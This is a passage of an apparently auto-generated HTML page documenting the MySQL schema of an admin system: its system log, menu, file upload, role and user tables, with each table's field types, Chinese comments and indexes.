1：显示</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>1</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>remark</td>\n\t\t\t\t\t\t<td>varchar(500)</td>\n\t\t\t\t\t\t<td>备注</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>key</td>\n\t\t\t\t\t\t<td>key</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-14\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:sys_log</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:系统日志</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td>auto_increment</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>username</td>\n\t\t\t\t\t\t<td>varchar(50)</td>\n\t\t\t\t\t\t<td>用户名</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>operation</td>\n\t\t\t\t\t\t<td>varchar(50)</td>\n\t\t\t\t\t\t<td>用户操作</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>method</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td>请求方法</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>params</td>\n\t\t\t\t\t\t<td>varchar(5000)</td>\n\t\t\t\t\t\t<td>请求参数</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>time</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td>执行时长(毫秒)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>ip</td>\n\t\t\t\t\t\t<td>varchar(64)</td>\n\t\t\t\t\t\t<td>IP地址</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>create_date</td>\n\t\t\t\t\t\t<td>datetime</td>\n\t\t\t\t\t\t<td>创建时间</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-15\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:sys_menu</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:菜单管理</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>menu_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td>auto_increment</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>parent_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td>父菜单ID，一级菜单为0</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>name</td>\n\t\t\t\t\t\t<td>varchar(50)</td>\n\t\t\t\t\t\t<td>菜单名称</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>url</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td>菜单URL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>perms</td>\n\t\t\t\t\t\t<td>varchar(500)</td>\n\t\t\t\t\t\t<td>授权(多个用逗号分隔，如：user:list,user:create)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>type</td>\n\t\t\t\t\t\t<td>int(11)</td>\n\t\t\t\t\t\t<td>类型   0：目录   1：菜单   2：按钮</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>icon</td>\n\t\t\t\t\t\t<td>varchar(50)</td>\n\t\t\t\t\t\t<td>菜单图标</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>order_num</td>\n\t\t\t\t\t\t<td>int(11)</td>\n\t\t\t\t\t\t<td>排序</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>menu_id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-16\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:sys_oss</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:文件上传</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td>auto_increment</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>url</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td>URL地址</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>create_date</td>\n\t\t\t\t\t\t<td>datetime</td>\n\t\t\t\t\t\t<td>创建时间</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-17\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:sys_role</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:角色</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>role_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td>auto_increment</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>role_name</td>\n\t\t\t\t\t\t<td>varchar(100)</td>\n\t\t\t\t\t\t<td>角色名称</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>remark</td>\n\t\t\t\t\t\t<td>varchar(100)</td>\n\t\t\t\t\t\t<td>备注</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>create_user_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td>创建者ID</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>create_time</td>\n\t\t\t\t\t\t<td>datetime</td>\n\t\t\t\t\t\t<td>创建时间</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>role_id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-18\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:sys_role_menu</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:角色与菜单对应关系</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td>auto_increment</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>role_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td>角色ID</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>menu_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td>菜单ID</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-19\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:sys_user</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:系统用户</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>user_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td>auto_increment</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>username</td>\n\t\t\t\t\t\t<td>varchar(50)</td>\n\t\t\t\t\t\t<td>用户名</td>\n\t\t\t\t\t\t<td>UNI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>password</td>\n\t\t\t\t\t\t<td>varchar(100)</td>\n\t\t\t\t\t\t<td>密码</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>salt</td>\n\t\t\t\t\t\t<td>varchar(20)</td>\n\t\t\t\t\t\t<td>盐</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>email</td>\n\t\t\t\t\t\t<td>varchar(100)</td>\n\t\t\t\t\t\t<td>邮箱</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>mobile</td>\n\t\t\t\t\t\t<td>varchar(100)</td>\n\t\t\t\t\t\t<td>手机号</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>status</td>\n\t\t\t\t\t\t<td>tinyint(4)</td>\n\t\t\t\t\t\t<td>状态  0：禁用   1：正常</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>create_user_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td>创建者ID</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>create_time</td>\n\t\t\t\t\t\t<td>datetime</td>\n\t\t\t\t\t\t<td>创建时间</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>user_id</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>username</td>\n\t\t\t\t\t\t<td>username</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-20\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:sys_user_role</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:用户与角色对应关系</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td>auto_increment</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>user_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td>用户ID</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>role_id</td>\n\t\t\t\t\t\t<td>bigint(20)</td>\n\t\t\t\t\t\t<td>角色ID</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   